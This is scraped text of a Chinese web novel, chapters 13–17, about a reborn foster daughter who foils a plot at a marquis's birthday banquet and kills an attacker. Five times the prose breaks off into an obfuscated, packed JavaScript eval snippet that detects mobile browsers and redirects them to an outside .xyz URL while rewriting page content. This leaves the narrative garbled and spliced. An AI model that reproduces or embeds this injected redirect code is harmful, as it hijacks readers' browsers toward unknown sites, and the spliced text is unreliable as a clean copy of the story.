“你亲生爹娘该感谢我将你捡回来才是,不然你早就被拐子带走,不知道卖到哪里去了。再说了,我可是侯府主母,谁敢动我。” “哦。那就拭目以待吧。”晏逐星转身离开。 她刚刚不过是试探一下温如霜罢了。 之前做鬼的时候,见她拿出来过一个金镯子说是她幼时的贴身之物。 寻常百姓人家,断然不会给女儿准备金镯子。 她原本的身世应该非富即贵,而且相当疼爱她这个女儿。 只是她什么都想不起来了。 而温如霜似乎也不知道她的亲生父母究竟是谁,一切只能从长计议了。 温如霜望着晏逐星离去的身影,直到看不见她的裙角,紧绷的脊背骤然一松,那口屏住的气息才颤巍巍吐出来。 “你说,她是不是都想起来了?”她猛然攥紧李氏枯瘦的手腕。 “奴婢,奴婢也不知道呀。”李氏也慌得很。 当初他们回夫人的娘家,弄丢了二小姐,遍地都寻不到人。 夫人在街上瞧见打扮得粉雕玉琢的大小姐,便生了邪念,将人抱走代替二小姐。 大小姐彼时不过一两岁的模样,吐字却很清晰,一直哭喊着要找爹娘哥哥,死活不肯改口叫夫人娘亲。 夫人不得已给她下了药,让她忘掉了自己亲生的爹娘。 今日大小姐旧事重提,难不成是药效过了,她全想起来了? “不,她肯定是在诈我,她那时候才那么小,怎么可能想得起来。”温如霜死死抓着李氏的手,指甲几乎要掐进她的皮肉里。 “不能让她把这事说出去,她要是说出去了,那一切就都毁了。” 她冷汗淋漓,谋划着该如何除掉晏逐星。 三日后。 威宁侯府送来了请柬,邀请她们过两日去参加侯府老夫人的寿宴。 温如霜想要拒绝,如今满城流言蜚语都是关于他们定远侯府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497756|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她若是去了少不得要被旁人暗讽。 她不想去丢那个人。 晏明月却劝她赴宴。 “娘亲,咱们必须去,还得大大方方的去,不然旁人肯定又要多加揣测,觉得咱们亏待了姐姐。” 温如霜思索片刻,觉得她说得也有几分道理。 “况且,我与威宁侯府的云霏姐姐是好友。她的祖母过寿,我不去,也不合适吧。”晏明月拉着她的手撒娇。 温如霜彻底偏向了她的提议,但想到刺头一般的晏逐星,又有些烦躁:“只是晏逐星她未必愿意跟我们一起去。” 一起去了,也未必会乖乖听话。 若是在寿宴上闹起来,那可就丢脸了。 她没敢把心底话说出来。 “那岂不是更好。她若在老夫人寿宴上闹起来,正好让裴大人和皇后娘娘看看,她根本就不是她表现出来的那么无辜和可怜!”晏明月咬紧了牙关。 上回院子里闹鬼,她吓坏了,病了整整一天。 后来查出来应该是有人装神弄鬼,她怀疑过晏逐星,可又没有证据,没办法让爹娘惩治她。 但她已经认定了是晏逐星干的,她就一定要报复。 原本还病恹恹的她,带着恨意,病好得飞快。 “好。那就听你的,叫上晏逐星一块。”温如霜同意了她的提议,命人将请帖送到玉澜院。 “小姐,咱们要去威宁侯府做客吗?”双鲤有些紧张。 “去,当然要去!”晏逐星没想到打瞌睡了就有人递枕头。 之前还想着若是威宁侯府不给她发帖子,她就利用裴芜混进去。 但那日接触过后,她发现裴芜是个天真单纯的好姑娘,她不能把她牵扯进来。 如今倒好了,请柬自动送上门来。 这场宴会,她非去不可。 因为,宴会上有一个她要找的人。 一个很重要的人。 第13章 别怕,有我替你撑腰 上一世,她被封为女将军后,接手了霍将军留在京中的密报营。 密报营中曾记录过,景王谢明奕身边有一个名叫九栀的侍妾武功极高,暗中替他杀了不少对头。 而两人相识,正是在威宁侯府老夫人寿宴上。 当时九栀受伤潜逃,景王救了她,她便跟了他当做报恩,之后对他言听计从。 晏逐星想要做的就是,把景王的救命之恩抢到手里。 她现在身边能信任的人只有双鲤,她需要一个武功高强的人跟在她身边。 九栀同为女子,跟着她再方便不过了。 而且她也瞧不上景王。 又要占人身子陪他行鱼水之欢,又要人替他卖命。 呸! 和定远侯府这群人一样不要脸。 …… 赴威宁侯府宴席前夕,温如霜差人送来了一套头面和一袭月白云锦裁就的锦衣。 晏逐星没有拒绝,收下了。 赴宴当日,晏逐星穿的是九章堂连夜赶制出来的冬装,首饰戴的也是皇后赠予的那些。 连日进补的燕窝参汤到底养出些成效,此刻的晏逐星不似前些时日那般枯瘦,如雪后残枝,倒像是新枝上扫落了雪的梅花,自冰肌里沁出几分生气。 晏明月看着她的眼神里满是妒忌。 她刚被侯府认回来的时候就意识到一件事,晏逐星比她漂亮许多倍。 她这辈子恐怕都无法赶超。 原以为这几年将她打压下去,她一辈子都会是那副灰头土脸的模样。 没想到短短几天的滋养,她的眉眼竟然又变得生动了起来,隐隐有了从前的几分风采。 “姐姐,你怎么不穿娘亲送你的衣裳,可是不喜欢?”晏明月忍不住开口。 晏逐星淡淡地扫了她一眼:“对啊。你明知故问点什么。你觉得她给我的衣裳首饰,能比皇后娘娘给的更好?” 晏明月直接被噎住了。 温如霜压下心底的火气,握紧女儿的手,示意她少说两句。 她们今日要扮演的是慈母和委曲求全的妹妹,她们才是受害的一方,不能让人看出问题来。 晏逐星要嚣张,就让她嚣张去吧。 到时候当着那么多贵夫人的面露出这样张狂的模样,她的名声可就没了。 “好了,上车吧。”她沉声开口。 晏逐星大大方方地上了车,而后闭目养神。 晏明月不情不愿地跟了上去。 “定远侯夫人携大小姐、二小姐到!”威宁侯府门前响起门房清亮的唱喏声。 陪着母亲迎客的赵云霏低声嘟囔:“娘亲,你怎么把晏逐星也请来了。” 威宁侯夫人钱氏压低声音:“皇后娘娘都给了她脸面,还有卫国公府那边的裴二小姐似乎也跟她交好,咱们怎好厚此薄彼。” 说完她便笑着迎了上去,和温如霜母女几人寒暄。 晏明月一看到赵云霏就笑眯眯地迎了上去:“云霏姐姐,好久不见,我好想你哦。” “确实好久不见,你怎么瘦了那么多?”赵云霏也同她寒暄了起来。 “前几日病了。”晏明月解释的时候,怯生生地看了一旁的晏逐星一眼。 “好端端的,怎么会病了?”赵云霏也跟着看向了晏逐星。 “唉,算了,没什么,咱们先进去吧。你我许久未见,我有好多话想跟你说。”晏明月欲言又止。 “行。”赵云霏拉着晏明月径直走了进去,领着她去和其他的世家小姐打招呼,就这样将晏逐星扔在了原地。 她们以为自己在孤立她,殊不知晏逐星正需要这样的独处。 密报营里的记录只写了景王和九栀是在这场宴会上相遇的,具体的地点压根没写,她只能自己去赌一把运气了。 “帮我盯着景王,他若落单了,记得告诉我。”晏逐星低声吩咐双鲤。 “是。”双鲤乖巧应下,没有任何质疑。 晏逐星找了个侯府的丫鬟,借口赏花,让她领自己到处看看。 另一边,赵云霏带着晏明月去了后花园的亭子中央。 一群人都对晏逐星京兆府状告侯府下人欺辱她的事情十分感兴趣,都不用晏明月挑起话题,就问了起来。 晏明月哭哭啼啼地开口,将早已想好的借口说了出来。 “自打我被接回家后,姐姐便觉得娘亲偏心我,便隔三岔五弄出伤痕,让娘亲心疼。” “娘亲给她做的衣裳,她表面上谦让给我,背地里又总是骂我抢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏逐星今日赴宴的目的,竟然是景王? 第14章 孤男寡女,有仇当场她就要报! 晏逐星察觉到窥探的目光,扭头一看,就撞上了赵云霏和晏明月。 不等她开口,赵云霏抢先一步开口训斥她。 “晏逐星,你在侯府锦衣玉食十多年,如今连侯夫人对明月的半分垂怜都容不下?还要处处欺负她,这般狭隘心性当真令人不齿。” “我处处欺负她?她和你说的?”晏逐星挑眉看向了晏明月。 “没有,姐姐,我什么都没说。”晏明月露出了惊慌失措的表情,“我们来是告诉你寿宴马上要开始了,你不要乱跑。” 随后她便强行拉着赵云霏离开了。 晏逐星一眼就看穿了她拙劣的手段。 赵云霏特意来替她出头,无非就是听了她的挑拨。 只不过她今日有更重要的事情要做,懒得搭理他们。 她从双鲤那里得知景王没有单独去过什么地方,身边的侍卫也没有离开过。 她放了一半的心。 或许,她还有一半的概率可以找到九栀。 赵云霏被晏明月拉走后,还在替她打抱不平。 “你怕什么,有我呢,她还敢当着我的面打你不成。” “云霏姐姐,我知道你对我好,可是我总归是要回侯府的。”晏明月又摆出了惯常用的那套可怜兮兮的模样。 “除非姐姐嫁人离开侯府,我才能安稳度日。可姐姐前不久在京兆府闹了那么一出,京中的夫人们根本无人愿意让她当儿媳妇。我母亲为难极了。” 她话音刚落,赵云霏便露出了恍然大悟的表情。 “怪不得她盯上了景王。” “啊,云霏姐姐,这可不能乱说。”晏明月捂住了嘴唇,露出惊讶的表情。 赵云霏却继续分析了起来:“虽然她名声不好,但毕竟是你们侯府嫡女,当个景王侧妃也是可以的。” “不行,不能让她当景王侧妃。景王妃是个好脾气的,若是让她去了景王府,那她还不得翻天。日后你就更没有好日子了。” 晏明月听到这话,眼泪扑簌簌地往下落:“云霏姐姐,那我该怎么办呀?” 赵云霏看着她这柔弱不能自理的模样,心中保护欲大大增加。 忽然,她眼珠子一转,有了好主意。 “你觉得让她嫁给我表叔怎么样?” “你表叔?”晏明月一愣,而后反应了过来。 赵云霏的表叔贵为烈国公世子,年已而立却仍未娶妻。 只因他年幼时的一场大病,烧坏了脑子,心智尽失,成了个痴儿。 晏明月喃喃道:“这不好吧。” 她一方面觉得让晏逐星嫁给一个傻子很解气,另一方面又觉得让晏逐星攀上烈国公府便宜她了。 “有什么不好的,能嫁给我表叔,是她高攀了。她日后还得给我们道谢呢。”赵云霏语气里满是不屑。 她不喜欢晏逐星,也不喜欢那个傻子表叔,将两个讨厌的人凑一块刚刚好。 …… 宴会过半,晏逐星正夹起一块芙蓉鸡片,旁边斟酒的丫鬟突然手一抖。 酒壶“咣当”砸在桌上,冰凉的梅子酒顺着桌沿淌下来,正浇在她月白色裙摆上。 “奴婢该死!”小丫鬟扑通跪下。 赵云霏瞧见这一幕,开口道:“我这丫鬟**手毛脚的,还请晏姐姐见谅。姐姐若不嫌弃,可以到后头暖阁换一件新的衣裙。” 晏逐星瞥了她一眼,又看了一眼晏明月,晏明月避开了她的眼神。 晏逐星思忖了片刻,接过丫鬟递来的素绢帕子擦了擦手:“带路吧。” 她让双鲤回马车上去取一套新的衣裳来,自己跟着那丫鬟去了后头的暖阁。 这个位置,她还没查过呢。 走到一半,那丫鬟忽然惊呼一声:“晏大小姐,奴婢忘了带暖阁的钥匙,劳烦您在此处等候,莫要胡乱走动。” 晏逐星点了点头,看着她离开。 丫鬟一走,她便搜起了附近的假山,只可惜什么也没找到。 没过多久,另一个丫鬟匆匆来了。 “翠儿有事去忙,由我领大小姐去更衣。大小姐请。” 丫鬟领着她往前走。 眼见越走越荒凉,晏逐星停下了脚步:“不是说去暖阁么?” “暖阁坏了,得去后院。”丫鬟垂眸回答。 “你究竟是谁?想做什么?”晏逐星猝不及防地出手,掏出一直藏在怀里的**果断刺向她。 这丫鬟的脚步一看就是练家子,她如今武功还没练成,只能先下手为强。 丫鬟瞪圆了眼睛,显然没有料到一个侯府大小姐会随身携带**。 她抬手去挡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497758|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **插入她的掌心,疼得她龇牙咧嘴,当即反击。 两人就这样打了起来。 这时,荒废的院子门忽然被打开,一个男人走了出来。 “热,好热。我要喝水!” 他眼神有些迷茫,随后一边嚷嚷一边开始脱自己的衣裳。 晏逐星认出了他。 这是烈国公唯一的儿子——尉迟敦。 她这一分神,就给了那个丫鬟机会。 丫鬟给了她后背重重一击,将她和尉迟敦同时推进了门内。 高高壮壮的尉迟敦哐当倒下,给晏逐星当了肉垫。 “哎哟,好痛!呜呜呜呜,我要娘亲,要娘亲!”他哇哇大哭了起来。 晏逐星当即捂住了他的嘴。 如今他们孤男寡女在这里,若是他的哭嚎声引来了外人,恐怕就解释不清了。 丫鬟一瘸一拐地摸到门闩,想要趁机将两人锁在里边。 晏逐星当机立断,反手掷出了**。 有仇当场她就要报! 谁知道以后还有没有机会。 **正中眉心,丫鬟的瞳孔骤缩,手指徒然向前抓,随后整个人直挺挺向后倒去,后脑磕在青石砖上发出闷响,血迹大片晕开,就这样没了气息。 “热……要喝水……敦儿渴……阿娘……呜呜。”尉迟敦在满是尘土的地上哭嚎着打滚。 脑袋上的玉冠歪斜着蹭满了尘土,头发也乱成了一团。 三十来岁的人如今和三岁稚童也没什么区别。 晏逐星顿时反应了过来。 有人给他下了药! 晏逐星猜到了这个计划定然和赵云霏还有晏明月有关,想必他们很快就要来了。 她不能留在原地坐以待毙。 她撇下尉迟敦想走,没想到尉迟敦却扑过来抱住了她的腿。 “热,敦儿热。”他呜呜地嚷嚷着。 再撕扯下去,她的衣裳就要彻底坏了,到时候有人过来可就真的说不清了。 挣脱无果,晏逐星用哄孩子的语气开口:“敦儿,我们来玩**好不好?” “**!好!”尉迟敦从地上爬了起来,揉了揉眼睛。 他的眼睛有些模糊,看清晏逐星的打扮后,他瞬间变得激动了起来。 他用脏兮兮的手捧住了晏逐星的脸,脱口而出—— 第15章 一年时间,足够她弄死所有定远侯府的人了 “妹妹!” 尉迟敦欣喜地盯着她,傻乎乎地冲着她笑。 晏逐星来不及思考他为什么叫她妹妹,但他肯听话就好。 晏逐星的目光落在了院子里那个废弃的旧水缸上。 她领着尉迟敦走了过去:“哥哥,你躲在这数到一百,我就回来,好吗?” 她正准备掀开水缸上的破旧盖子,不曾想,里边还藏了一个人。 竟然是九栀! 真是踏破铁鞋无觅处,得来全不费工夫。 她找了半天,没想到竟然在这种情况下遇见了她。 九栀从水缸里一跃而起,怀里的剑出鞘对准晏逐星二人。 晏逐星果断用盖子格挡。 她长话短说:“我是定远侯府大小姐晏逐星,我可以帮你逃出去。作为回报,你在我身边当一年丫鬟保护我,一年后,你可以自由离开。” 她只会在定远侯府呆一年。 这一年的时间,足够她弄死所有定远侯府的人了。 九栀的剑一顿,原本质疑的话拐了个弯:“有月银吗?” 晏逐星一愣,当即点头:“有。” 九栀又问:“管饭吗?” 晏逐星再次点头:“管。顿顿有肉。” “成交。”九栀当即答应。 她答应得太过痛快,反倒让晏逐星没反应过来。 上辈子,二皇子不会就是用管饭的借口诓得人为他卖命的吧? 两人交谈间,尉迟敦一直乖乖地在数数。 “十八、十九……” 只是数着数着又忍不住喊热。 “妹妹,好热。” 喊完忘了自己数到多少,又一根筋地从头开始数。 “一、二、三……”尉迟敦捂着眼睛继续数。 看着九栀苍白的脸色,晏逐星知道她应该是刚刚和她动手时伤口又撕开了。 当机立断让她换上了那个丫鬟的衣裳,随后和九栀合力把丫鬟的尸体扔到了废弃的水井底下。 “待会遇到我的丫鬟,你就说我的鞋子湿了,让她带你去拿一双新的。出了侯府左拐到巷口,我的马车在那,你把这个给车夫,他会送你去安全的地方。” 晏逐星把双鲤的模样打扮告诉她之后,又将提前准备好的一支木簪子交给了她。 两人正准备离开,尉迟敦就冲晏逐星扑了过来。 “难受,抱抱……”他懵懵懂懂地想要伸手想去撕扯晏逐星的衣裳。 晏逐星退后几步,喊了几声“哥哥”。 但他似乎已经失去了理智,没有任何回应。 晏逐星便意识到他这是药效彻底发作了。 她让九栀先走,自己留下。 她不敢出手伤尉迟敦,毕竟他现在神志不清,动作行为毫无章法。 她怕动手拿捏不准分寸,一个不注意把他打死,那可就麻烦了。 她只能带着他在院子里溜圈子。 “热,好热……”尉迟敦一边哇哇大哭一边追晏逐星。 他身上的衣服被他越脱越少,只剩一件单衣,晏逐星快急疯了。 这样下去迟早会有人来。 但她现在跑哪尉迟敦追到哪,若是往外跑,被别人看到那更麻烦。 就在她一筹莫展之际,一个人影从院墙上一跃而下,落在了尉迟敦身后。 “啪”的一击,尉迟敦便晕倒了。 …… “你说什么?敦儿怎么会不见了。”烈国公夫人赵玉润霍然起身,身子摇摇欲坠。 她这辈子最亏欠的就是儿子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497759|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>当初夫君在玉门关外遭了暗箭,她守着昏迷的丈夫昼夜诵经,却忽视了六岁的儿子,让他烧了好几日。 然后害他变成了一个傻子。 她悔不当初。 后来在佛前供了十年长明灯,好不容易得了个粉团似的女儿。 谁知他们的母女缘分竟然那般短,去年才十三岁的女儿,竟然意外坠湖去世了。 她大受打击,要不是为了儿子,她恐怕撑不到现在。 儿子就是系着她三魂七魄的命灯,若连这最后的希望都要生生掐灭,她也不想活了。 “快,快去找他。”赵玉润哆哆嗦嗦地开口。 威宁侯老夫人赶忙安慰她别着急,命令下人去搜院子,务必要将尉迟敦找到。 赵玉润坐不住:“不,我得亲自去找他。” 和她交好的夫人也赶忙起身,陪着她一块找儿子。 赵云霏给了晏明月一个眼神,晏明月怯怯开口:“我姐姐去更衣好半天了,也没回来,我有些担心她是不是出事了。老夫人能不能也帮忙派人找找她?” 威宁侯老夫人听到这话,眉头微不可察地皱了皱。 傻子世子和来赴宴的侯府千金同时失踪,这可不是什么好兆头。 “去,也找找定远侯府大小姐。”老夫人再次下了命令。 赵云霏给翠儿使了个眼神,示意她将寻人的烈国公夫人引去荒院。 不曾想,一行人走到半路,就看到晏逐星落落大方地出现在众人面前。 她的发髻有些乱,但衣裳依旧齐整。 赵云霏和晏明月瞳孔骤缩。 这怎么可能! 晏逐星不是应该被尉迟敦按在荒院里生米煮成熟饭吗,为什么看起来毫发无损。 第16章 也是重生的? 晏逐星看向烈国公夫人:“夫人是在寻世子吧?” 烈国公夫人忙不迭点头:“是,你可瞧见敦儿了?” 晏逐星温声回答:“世子被永安王送回院中了,正等着夫人呢。” 烈国公夫人顾不得仔细询问什么情况,她心系儿子,道了声多谢便急匆匆地离开了。 赵云霏和晏明月听到“永安王”的名号,一个惊得指甲掐入掌心,另一个更是面色白了又青,青了又白。 赵云霏轻轻推了晏明月一把。 晏明月咬着唇开口:“姐姐,你不是说换衣裳去了吗?怎么衣裳没换还遇上永安王了?” 她问出了在场的人都很好奇的问题。 “这就得问赵大小姐了。”晏逐星看向赵云霏。 “先前你的丫鬟领着我说去暖阁换衣裳,而后久久没出现,我便打算先回宴会上找我的丫鬟。没想到,路上偶遇了永安王和世子爷,他们迷路了,向我问路,我便给他们指了路。” 这个理由合情合理,赵云霏也没法说什么。 她露出一丝尴尬的笑:“翠儿回来我让她给我取了东西,便另行指派了一个丫鬟去接晏姐姐,你们没遇上吗?” “没有。”晏逐星果断否认。 丝毫不提她们做的那些事情。 丫鬟已经是**,没有证据,她又何必多说。 反正受害人不止她一个。 想必烈国公夫人会很乐意调查清楚谁陷害了她儿子,这事就让她去办吧。 “是我御下不严,让晏姐姐笑话了,待我找到那丫鬟,定狠狠训斥一番,让她给姐姐赔罪。”赵云霏忍气吞声地道歉。 “嗯,时辰不早了。母亲,妹妹,咱们先回吧。”晏逐星看向了温如霜母女。 温如霜先前就看到了女儿和赵云霏的小动作,一下就猜到了两人私底下肯定干了什么她不知道的事情。 听到晏逐星提到永安王和烈国公府世子,心头猛地一跳。 如今晏逐星要回侯府,她当然答应。 “老夫人,我等就先告辞了。”她冲威宁侯府的老夫人行了一礼,随后带着两人离开了侯府。 晏逐星瞧见站在马车边上的半棠,见她冲自己点头,便知道九栀已经安然离开。 她这才放心地登上马车。 上了马车,温如霜想要打探晏逐星遇到永安王说了什么。结果还没等她开口,晏逐星就闭上了眼睛假寐。 晏明月想要张口,却被她横了一眼。 有些话,现在可不方便说。 晏逐星没空管母女俩的眉眼官司,她还在回忆先前遇见永安王的事情。 …… 晏逐星万万没想到,从天而降打晕尉迟敦的人竟然是上辈子她用命护住的人。 她也是后来做了鬼,从温如霜等人口中方才知晓,他是永安王,帝后最疼爱的小儿子。 做鬼的晏逐星可以认识他,但现在的晏逐星不可以。 于是她佯装惊恐地询问:“你是谁?” 谢翊宁思忖片刻,说出了自己的**。 “永安王,谢翊宁。” “臣女见过永安王。”她赶忙行礼。 “不必客气。”谢翊宁盯着眼前的小姑娘,眼里是他自己都没有察觉的温柔。 真是个小可怜,走到哪都要被人暗害。 要是没有他派人盯着,她今日遇到这样的事,可怎么办呀。 他淡淡道:“你待会只需要和烈国公夫人说人在本王这里就行了,事情牵累不到你。” 说完转身就要离开。 “您为什么要帮我?” 谢翊宁的脚步顿了顿,转过身看向她,晏逐星后知后觉地意识到她竟然将心里话问了出来。 谢翊宁定定地看着她,而后挑眉一笑:“你就当是本王上辈子欠了你一命,这辈子报**了。” 说完他命护卫扛走了尉迟敦。 那会儿晏逐星还有些茫然,但这一刻,她忽然反应了过来。 上辈子欠了她一命。 难不成是指在战场上,她用身体护住了他的事? 晏逐星猛地睁开了眼睛,心跳声震得耳膜生疼,恍惚中她好像看见断箭残阳里,谢翊宁铠甲上的那朵血梅正与自己心口的伤重合。 也对。 他们是一箭穿心,同时身亡的。 她一个无人爱的假千金都能重生,天潢贵胄的谢翊宁为何不能。 那日皇后娘娘突如其来的赏赐好像也找到了原因。 什么破阵舞,不过是托词罢了。 过去那么多年,皇后娘娘怎么可能莫名其妙就想起她,这背后必然少不了永安王的推波助澜。 …… 烈国公夫人慌慌张张地回了院子,看到儿子面色潮红躺在床上,太医正在替他把脉,顿时吓了一跳。 “敦儿……”她身子一软,差点摔倒在地。 “世子并无性命之忧,夫人可否借一步说话。”谢翊宁伸手搀扶住了她。 听到没有性命之忧,烈国公夫人长长地舒了一口气。 她轻轻拂开他搀扶的手,将袖口褶皱抚平整:“但凭王爷吩咐。” 两人走到隔间谈话,心腹守在门外。 谢翊宁没有绕弯子,直接将真相赤裸裸地说了出来。 “有人给世子下了**,将他引至威宁侯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497760|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府荒废的院子里,意图将他和定远侯府大小姐关在一起。” “据本王所知,宴会前,赵云霏和定远侯府大小姐起了口角冲突。而后宴会上,定远侯府大小姐就被丫鬟弄湿了裙摆,被人引去换衣裳。” 他每说一句话,烈国公夫人的脸就白上一分。 “王爷可有证据?”她不愿意相信乖巧懂事的侄孙女竟然敢对自己的儿子下手。 谢翊宁嗤笑一声:“若本王此刻能在这侯府后宅查个明白,明日御史台的折子就该参本王个僭越之罪了。” “是老身糊涂了。”烈国公夫人也意识到自己言语中的不妥,连忙道歉。 关心则乱,儿子出事,她一下脑筋就转不过弯来了。 她郑重冲谢翊宁行了一礼:“多谢王爷救了我儿。” “该谢的不是我。”谢翊宁只留下了这么一句话。 烈国公夫人一怔,随后明白了他的意思,该谢的是那位定远侯府的大小姐。 她没有将此事闹大,给烈国公府和威宁侯府都留了面子。 想到儿子在娘家遭遇了这样的事情,她气不打一处来,当即命人将此事告知兄嫂,让他们必须给她一个交代。 她则守在了儿子身旁。 听到太医说服药后出了汗,再泡泡药浴就没事了,她才松了一口气。 赵云霏和晏明月的计划是临时准备的,自然有很多漏洞,因此没多久老威宁侯和老夫人就查到了孙女干的好事。 “跪下!”老侯爷和老夫人觉得十分丢人。 自家的孙女,竟然对长辈下手,还用的是这么下三滥的法子。 赵云霏没想到这么快就东窗事发了,她惊慌失措地看向爹娘,不曾想,爹娘眼里没了往日的宠爱,全都是失望。 “你和那位晏大小姐无冤无仇,你为何要做这种蠢事?!”老夫人气急败坏地询问。 今日乃是她六十大寿,竟然会闹出这样荒唐的事情来。 好在事情没有闹大,不然她真的要被活活气死。 赵云霏双膝重重磕在青砖上,寒意顺着裙裾直往骨髓里钻。她下意识地替自己辩解:“祖母,此事与我无关啊……” “人证物证确凿,你还敢狡辩。”老夫人气得将手中的茶盏砸向她。 “你当侯府是市井瓦舍,由得你耍这些腌臜手段?若是不说实话,我立刻将你嫁回邵阳去,从此不得入京。” 听到这话,赵云霏“哇”一声就哭了出来。 “祖母,我错了,我不是故意的。”她哭哭啼啼地把事情的经过说了一遍。 “我只是想帮明月妹妹出口气。” 第17章 没想到会听到这样的秘闻 老夫人听完两眼一黑更生气了。 “蠢货,人家拿你当刀子使你还不自知,还一口一个明月妹妹。你且去找你姑婆认错吧,她若不原谅你,你便去庄子上养个三年五载再回来。” 赵云霏这下是彻底慌了。 她没想到后果会那么严重。 她抽噎着喉咙挤出哭腔:“可若是晏逐星和表叔成了,表叔也有媳妇了啊,姑婆不是一直希望表叔能娶妻生子吗。” 烈国公夫人走进来就听到了她这番话,脸上露出不可思议的表情:“你怎么能说出这般不要脸的话来。” 她伸手指着赵云霏的鼻尖,厉声呵斥:“敦儿比定远侯府那位大小姐足足年长十六岁!他当人家爹爹都够岁数了!” 她的尾音陡然拔高,震得窗棂嗡嗡作响,胸口剧烈起伏着,显然气得不轻。 是,她是想过让儿子过正常人的生活娶妻生子。 可也绝对不是找一个尚未及笄的小姑娘啊。 更何况,前几年太医曾告知过她,儿子肾元先天不足,恐有续嗣之艰。 刚刚她和太医再一次确认了这件事情。 原本调养之后儿子或许还有可能延续子嗣,如今被这虎狼之药损伤,恐怕终其一生都无法有孩子了。 想到这里,她悲从中来,拉着嫂子的手哭诉了起来。 “早知如此,今日我便不该带着敦儿回来,让他被人害了,让尉迟家从此**……” 赵云霏听到这样严厉的指责,根本承受不住,软绵绵栽倒在地,晕了过去。 威宁侯老夫人绞着帕子浑身发抖,老侯爷额角青筋暴起,他们没想到事情竟然闹到了这样无法挽回的地步。 但当着烈国公夫人的面,他们自然不能把责任都怪到小孙女头上。 于是便将所有的过错都推到了晏明月的头上,将赵云霏做的事情说成打抱不平。 …… 晏逐星一行人回到定远侯府。 温如霜本想留下晏逐星谈话,料想她应该也不会和自己说实话,便没有自讨没趣,让她离开了,只留下了自己的女儿。 “明月,你和娘亲说实话,今日烈国公府世子的事情,是不是和你有关?” 晏明月支支吾吾,没敢说实话。 温如霜沉下了脸,逼问道:“你上回自作主张已经害得侯府丢了面子,若你再闹出什么事情来,你爹爹肯定不会原谅你。” 听到她这么说,晏明月顿时慌了,她赶忙道:“不是**的,是赵云霏。” 她竹筒倒豆子似的把事情的来龙去脉都说了一遍。 “你傻啊,她嫁去烈国公府对咱们有什么好处。”温如霜被女儿气得头疼。 从前怎么没发现女儿这么蠢呢。 “她现在恨急了咱们全家,她若高嫁,定然会利用婆家对付咱们,到时候咱们可就是哑巴吃黄连,有苦说不出了。” “此事若是败露,烈国公府和威宁侯府是姻亲不一定会翻脸,说不定两家还要共同恨上咱们家。” 听到母亲的分析,晏明月一阵后怕。 她还是太冲动了。 “娘。”她猛地抓住母亲手腕,“现下可有什么转圜的余地?” 温如霜反手按住女儿颤抖的手,一字一句道:“此事,只能推到晏逐星头上。” 这件事情宜早不宜迟。 她果断领着晏明月,又去了一趟威宁侯府。 “他们又来做什么?”威宁侯夫人钱氏有些不满和疑惑。 婆母的六十大寿闹出了这么一档子事,公公婆婆可气得不轻,还连累她女儿被关到祠堂禁闭。 现在她最不待见的就是定远侯一家。 “说是来赔礼道歉的。”下人恭恭敬敬地回禀。 钱氏眉头微皱,最终还是让人把她们母女二人领了进来。 “钱姐姐,今日之事,真是对不住了。”温如霜放低了姿态,又让丫鬟将赔礼的东西呈了上来。 钱氏慢悠悠地喝了一口茶:“哦?什么事啊?” “家门不幸。我那长女,唉,真是不知羞耻。竟然想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 